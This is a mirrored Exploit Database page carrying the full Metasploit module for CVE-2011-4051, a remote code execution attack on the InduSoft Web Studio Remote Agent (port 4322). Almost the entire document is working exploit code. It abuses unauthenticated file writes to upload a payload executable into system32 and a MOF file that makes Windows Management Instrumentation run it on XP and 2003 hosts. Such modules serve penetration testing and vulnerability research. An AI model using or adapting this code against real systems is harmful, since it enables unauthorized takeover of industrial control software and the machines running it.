InduSoft Web Studio – Arbitrary File Upload / Remote Code Execution (Metasploit)

• Exploit Database
• 81 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21837/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::EXE
  	include Msf::Exploit::WbemExec
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
  			'Description'=> %q{
  					This module exploits a lack of authentication and authorization on the InduSoft
  				Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
  				the filesystem, by abusing the functions provided by the software.
  
  				The module uses uses the Windows Management Instrumentation service to execute an
  				arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
  				Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
  				XP SP3 and Windows 2003 SP2.
  			},
  			'Author' =>
  				[
  					'Luigi Auriemma', # Vulnerability Discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2011-4051' ],
  					[ 'OSVDB', '77179' ],
  					[ 'BID', '50675' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'BadChars' => "",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP / 2003', { } ],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Nov 04 2011'))
  
  		register_options([Opt::RPORT(4322)], self.class)
  	end
  
  	def check
  		connect
  
  		# Get Application version
  		data = [0x14].pack("C")
  		sock.put(data)
  		app_info = sock.get_once
  		disconnect
  
  		if app_info =~ /InduSoft Web Studio v6\.1/
  			return Exploit::CheckCode::Vulnerable
  		elsif app_info =~ /InduSoft Web Studio/
  			return Exploit::CheckCode::Detected
  		end
  
  		return Exploit::CheckCode::Safe
  
  	end
  
  	def upload_file(filename, my_payload)
  		connect
  
  		# Get Application version
  		data = [0x14].pack("C")
  		sock.put(data)
  		app_info = sock.get_once
  		if app_info !~ /InduSoft Web Studio/
  			print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
  		end
  
  		# Get Operating System
  		data = [0x13].pack("C")
  		sock.put(data)
  		os_info = sock.get_once
  		if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
  			print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
  		end
  
  		# Upload file
  
  		data = "\x02\x37" # Command => Select destination
  		data << [my_payload.length].pack("V") # Data length
  		data << "#{filename}" # File name to upload
  		data << "\x09\x00\x30\x00\x00\x00"
  		data << "\x10\x03" # End of packet
  
  		# The data must be split on 1024 length chunks
  		offset = 0 # Data to send
  		count = 1 # Number of chunks sent
  		groups = 0 # Data must be sent in groups of 50 chunks
  
  		chunk = my_payload[offset, 1024]
  
  		while not chunk.nil?
  
  			# If there is a group of chunks, send it
  			if count % 51 == 0
  
  				data << "\x02\x2c" # Command => Send group of chunks
  				my_count = [count].pack("V") # Number of chunks
  				data << my_count.gsub(/\x10/, "\x10\x10")
  				data << "\x10\x03" # End of packet
  
  				sock.put(data)
  				res = sock.get_once
  				if res !~ /\x02\x06\x10\x03/
  					return res
  				end
  
  				count = count + 1
  				groups = groups + 1
  				data = ""
  
  			end
  
  			pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
  			my_count = [count].pack("V")
  			pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
  			pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
  			pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
  			pkt << "\x10\x03" # End of packet
  
  			data << pkt
  			offset = (count - groups) * 1024
  			chunk = my_payload[offset, 1024]
  			count = count + 1
  		end
  
  		pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
  		my_count = [count].pack("V")
  		pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
  		pkt << rand_text_alpha(8) # LastWriteTime
  		pkt << rand_text_alpha(8) # LastAccessTime
  		pkt << rand_text_alpha(8) # CreationTime
  		pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
  		pkt << rand_text_alpha(1)
  		pkt << "\x10\x03" # End of packet
  		data << pkt
  
  		sock.put(data)
  		res = sock.get_once
  		disconnect
  
  		return res
  
  	end
  
  	def exploit
  
  		@peer = "#{rhost}:#{rport}"
  
  		exe = generate_payload_exe
  		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
  
  		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
  		mof= generate_mof(mof_name, exe_name)
  
  		print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
  		res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
  		if res =~ /\x02\x06\x10\x03/
  			print_good "#{@peer} - The exe payload has been uploaded successfully"
  		else
  			print_error "#{@peer} - Error uploading the exe payload"
  			return
  		end
  
  		print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
  		res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
  		if res =~ /\x02\x06\x10\x03/
  			print_good "#{@peer} - The mof file has been uploaded successfully"
  		else
  			print_error "#{@peer} - Error uploading the mof file"
  			return
  		end
  
  	end
  
  end
  

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